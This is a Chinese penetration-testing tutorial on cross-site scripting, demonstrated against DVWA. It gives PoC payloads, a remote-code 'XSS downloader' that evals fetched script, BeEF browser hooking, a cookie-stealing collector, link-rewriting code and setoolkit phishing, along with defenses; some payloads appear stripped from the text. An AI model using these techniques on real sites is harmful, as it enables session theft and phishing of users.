渗透测试之XSS(跨站脚本攻击)

文章目录

  • XSS 漏洞概述
    • XSS 分类
    • XSS 危害
    • XSS 漏洞的验证
    • XSS 的构造
    • XSS 的变形(绕过方式)
    • Shellcode 的调用
      • 远程调用JS
      • windows.location.hash
      • XSS Downloader
      • 备选存储技术
    • XSS 的应用
      • 浏览器劫持
        • beef 的安装与基本利用
          • 利用存储型XSS 进行浏览器的劫持
          • 固定会话攻击
      • 盗取Cookie
      • 篡改链接
      • 钓鱼网站
    • XSS 的防御
      • 使用XSS Filter
      • 设置httponly
    • XSStrike工具
      • 安装
      • 使用

XSS 漏洞概述

XSS是OWASP TOP 10 之一。

XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。

XSS通过将精心构造的JS代码注入到网页(服务器上)中,并由浏览器(客户端)解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。所以说XSS是一种被动的攻击。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的攻击对象是用户和浏览器。
渗透测试之XSS(跨站脚本攻击)_第1张图片
总结:XSS漏洞发生在服务器!需要被攻击者主动触发!

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。

也就是说攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

XSS 分类

  • 反射型XSS(非持久性XSS)
    这种攻击往往具有一次性。
    反射型XSS是非持久性、参数型的跨站脚本。反射型XSS 的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
    攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。
    渗透测试之XSS(跨站脚本攻击)_第2张图片
    输入js代码:来获取cookie值
    渗透测试之XSS(跨站脚本攻击)_第3张图片
  • 存储型XSS(持久性XSS)
    攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。
    攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
    渗透测试之XSS(跨站脚本攻击)_第4张图片
    渗透测试之XSS(跨站脚本攻击)_第5张图片
  • DOM型XSS
    DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。
    DOM XSS比较特殊。owasp 关于DOM型XSS的定义是基于DOM的XSS是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM XSS比较难以检测。如下面的例子
    DOM结构图:
    渗透测试之XSS(跨站脚本攻击)_第6张图片
    渗透测试之XSS(跨站脚本攻击)_第7张图片
    在后面加上js代码就可以执行
    渗透测试之XSS(跨站脚本攻击)_第8张图片
    改变了DOM树结构
    在这里插入图片描述

XSS 危害

XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种:

  • 盗取各种用户账号
  • 窃取用户Cookie资料,冒充用户身份进入网站
  • 劫持用户会话,执行任意操作
  • 刷流量,执行弹窗广告
  • 传播蠕虫病毒

XSS 漏洞的验证

我们可以用一段简单的代码,验证和检测XSS 漏洞的存在,这样的代码叫做PoC(Proof ofConcept)。

  • PoC:漏洞的验证和检测代码。

  • EXP:漏洞的完整利用工具。

  • shellcode:利用漏洞时所执行的代码。

  • payload:有效载荷

    • 在sqlmap中:攻击代码的模板
    • msf中:与shellcode类似,功能是建立与目标的连接

验证XSS 漏洞存在的PoC 如下:

<script>alert(/xss/)</script>      常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script "'Oonn>   看过滤了什么

我们发现,提交的代码,被当作字符串输出在HTML页面中,浏览器会根据 ,这是比较常用的方式。xss.js 的内容如下:alert('xss.js');

特点:js 代码可以放在我们本地的服务器里,注入的时候不用再写一大堆代码了,只需要用链接即可

注意:使用http协议直接访问js 文件时会返回纯文本。

windows.location.hash

我们也可以使用js 中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows.location.hash会获取URL 中#后面的内容,例如:http:// domain.com/index.php#comeon, windows.location.hash的值就是#comeon

所以我们可以构造如下代码:
?name=#alert(/this is windows.location.hash/),直接提交到测试页面
渗透测试之XSS(跨站脚本攻击)_第11张图片

XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
在使用XSS Downloader之前需要一个我们自己的页面,xss_downloader.php,内容如下:~~~BOF|alert(/xss/)|EOF~~~

常见的下载器如下:

<script>
function XSS() {
     
	if (window.XMLHttpRequest) {
     
		a = new XMLHttpRequest() ;
	}else if (window.ActiveXObject) {
     
		a = new ActiveXObject( "Microsoft.XMLHTTP");
	else {
     return;}
	a.open('get',' http://IP/目录/xss_downloader.php',false) ;
	a.send() ;
	b=a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS() ;
</script>

注意:Ajax 受同源策略的限制,为了解决这个问题,我们需要在服务端代码中加入几句代码:


header ('Access-Control-Allow-Origin: *') ;
header ('Access-Control-Allow-Headers: Origin, X-Requested-with, Content -Type,Accept') ;
?>

备选存储技术

我们可以把She llcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。

在实战过程中,可以将自己的名字注册成xss 代码,别人一访问你的主页,主页肯定会打印你的名字然后就会执行这段js 代码。

XSS 的应用

浏览器劫持

beef 是一款XSS 漏洞的利用平台,是个XSS 神器。
我们要使用beef 来进行浏览器的劫持

beef 的安装与基本利用

由于最新版的kali好像没有自带这个软件,使用apt-get install beef-xss命令进行安装
安装完成之后进入beef 的安装目录:/usr/share/beef-xss/
在这里插入图片描述
由于beef 的启动不让用默认的用户名和密码,会启动失败
所以我们要修改配置文件来更改用户名和密码,修改之前建议备份一个渗透测试之XSS(跨站脚本攻击)_第12张图片
渗透测试之XSS(跨站脚本攻击)_第13张图片
修改完之后启动:beef-xss或者是进入安装目录下执行./beef
渗透测试之XSS(跨站脚本攻击)_第14张图片
启动之后会自动在浏览器打开控制界面
渗透测试之XSS(跨站脚本攻击)_第15张图片
登录后台管理控制台:
渗透测试之XSS(跨站脚本攻击)_第16张图片
启动之后会自动生成web 控制台:http://127.0.0.1:3000/ui/panel以及Shellcode:里面包含了自动生成的钩子hook.js
只要谁运行了这段Shellcode,对应的网站就会被钩子钩住,然后出现在管理控制台中!
还有访问这个测试页面http://127.0.0.1:3000/demos/butcher/index.html也会出现在管理控制台中

例如:我用本机来访问渗透测试之XSS(跨站脚本攻击)_第17张图片
查看控制台:
渗透测试之XSS(跨站脚本攻击)_第18张图片
这时候浏览器已经被劫持了!我们可以使用命令来操控对方的浏览器:
渗透测试之XSS(跨站脚本攻击)_第19张图片
例如:我们可以使用重定向命令让对方访问我们想要它访问的页面
渗透测试之XSS(跨站脚本攻击)_第20张图片
渗透测试之XSS(跨站脚本攻击)_第21张图片
注意:测试网页一退出就会直接下线,不能进行操作了
渗透测试之XSS(跨站脚本攻击)_第22张图片

利用存储型XSS 进行浏览器的劫持

我们在DVWA 中打开存储型的XSS 输入Shellcode:
渗透测试之XSS(跨站脚本攻击)_第23张图片
我们提交了之后会刷新页面,只要一刷新页面,js会立即执行,然后我们就被劫持了
渗透测试之XSS(跨站脚本攻击)_第24张图片
在其他虚拟机里使用不同的账号访问同样的页面:渗透测试之XSS(跨站脚本攻击)_第25张图片
发现也会被劫持:
渗透测试之XSS(跨站脚本攻击)_第26张图片
拿到cookie之后就可以实现cookie欺骗

固定会话攻击

我们可以在浏览器中写入cookie来绕过登录验证:

由于DVWA登录之后才能够使用,我们用其他浏览器直接访问XSS 漏洞页面会重定向到登陆界面
渗透测试之XSS(跨站脚本攻击)_第27张图片
我们写入cookie
渗透测试之XSS(跨站脚本攻击)_第28张图片
再进行访问:渗透测试之XSS(跨站脚本攻击)_第29张图片

盗取Cookie

存在反射型XSS 漏洞的站点可以利用以下链接来盗取Cookie
url?uname=
将链接发送给用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。

cookie.php代码:


$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);//将得到的cookie存储在文件中
?>

例:
用户直接访问http://192.168.35.129/DVWA-master/vulnerabilities/xss_r/?name=#
进行提交
渗透测试之XSS(跨站脚本攻击)_第30张图片

会重定向到我们的页面:
渗透测试之XSS(跨站脚本攻击)_第31张图片
查看截取到的cookie
渗透测试之XSS(跨站脚本攻击)_第32张图片
截取到cookie之后,我们就可以使用它的身份来访问他的主页,上传webshell,提高权限。

篡改链接

window.onload:当窗口加载时,会执行

使用for循环遍历所有获得的链接a标签:

<script>
window.onload = function(){
     
	var link = document.getElementsByTagName("a");
	for(var i = 0;i < link.length;i++){
     
		link[i].href = "http://....com";
	}
}
</script>

将篡改代码注入到对应的XSS 位置。
渗透测试之XSS(跨站脚本攻击)_第33张图片
这里的url链接我们可以替换成我们想要增加流量的页面(例如:微博增加访问量)或是恶意链接。

钓鱼网站

使用setoolkit 工具克隆网站
渗透测试之XSS(跨站脚本攻击)_第34张图片
输入y之后进入界面:
渗透测试之XSS(跨站脚本攻击)_第35张图片
会有选项:我们先选择1,然后2,再是3,然后选择2就进入了克隆网站的功能,回车后输入要克隆的url
渗透测试之XSS(跨站脚本攻击)_第36张图片
复制成功后我们进行访问:
渗透测试之XSS(跨站脚本攻击)_第37张图片
我们在存储型的XSS 进行演示:
输入:,直接重定向到我们自己的网站
渗透测试之XSS(跨站脚本攻击)_第38张图片
渗透测试之XSS(跨站脚本攻击)_第39张图片

用户在不知情的情况下进行了账户密码的提交(页面不会跳转会自动刷新),就会被我们看到:
渗透测试之XSS(跨站脚本攻击)_第40张图片

XSS 的防御

使用XSS Filter

XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。

  • 输入过滤
    "永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。
    • 输入验证
      简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。一般包括:
      输入是否仅包含合法的字符
      输入字符串是否超过最大长度限制
      输入如果为数字,数字是否在指定的范围
      输入是否符合特殊的格式要求,如E一mail地址、IP地址等。
    • 数据消毒
      过滤和净化掉有害的输入。
      使用:
      htmlspecialchars()函数进行字符串到实体的转换!
      htmlentities()函数将一些特殊的字符转换为HTML实体,例如:<转换为$lt;
      strip_tags()函数剥去字符串中的php、html、xml的标签,并且会剥离html的注释
  • 输出编码
    HTML 编码主要是用对应的HTML 实体代替字符
  • 黑白名单
    不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。
    黑名单:不允许的数据
    白名单:允许的数据

设置httponly

在设置cookie的时候,将secure 设置为true,就可以防止js 读取cookie值
setcookie(name,value,expire,path,domain,secure)
渗透测试之XSS(跨站脚本攻击)_第41张图片

XSStrike工具

XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外XSstrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。

项目地址:https://github.com/s0md3v/XSStrike

安装

由于XSStrike只可以运行在python 3.6以上版本,所以必须使用python3.6版本。

输入python3 来查看自己的版本(没安装的先安装):
渗透测试之XSS(跨站脚本攻击)_第42张图片
然后安装pip:
渗透测试之XSS(跨站脚本攻击)_第43张图片
然后将项目克隆到本地:
渗透测试之XSS(跨站脚本攻击)_第44张图片
再安装requirements.txt里面要求的一些组件,不然会开启失败
渗透测试之XSS(跨站脚本攻击)_第45张图片
再给执行权限:
在这里插入图片描述
这时候就可以通过执行这个py脚本来运行了(注意要用python3启动)
渗透测试之XSS(跨站脚本攻击)_第46张图片

使用

我们先建立一个具有反射型XSS 漏洞的php脚本:

<html>

$n = $_GET['n'];
echo $n;
?>
</html>

这里加上html标签才能扫描成功,不知道为什么…
不加是这样的:
渗透测试之XSS(跨站脚本攻击)_第47张图片
加了之后正常:
渗透测试之XSS(跨站脚本攻击)_第48张图片
使用生成的payload去检测:
渗透测试之XSS(跨站脚本攻击)_第49张图片
发现弹窗

你可能感兴趣的:(渗透测试,xss)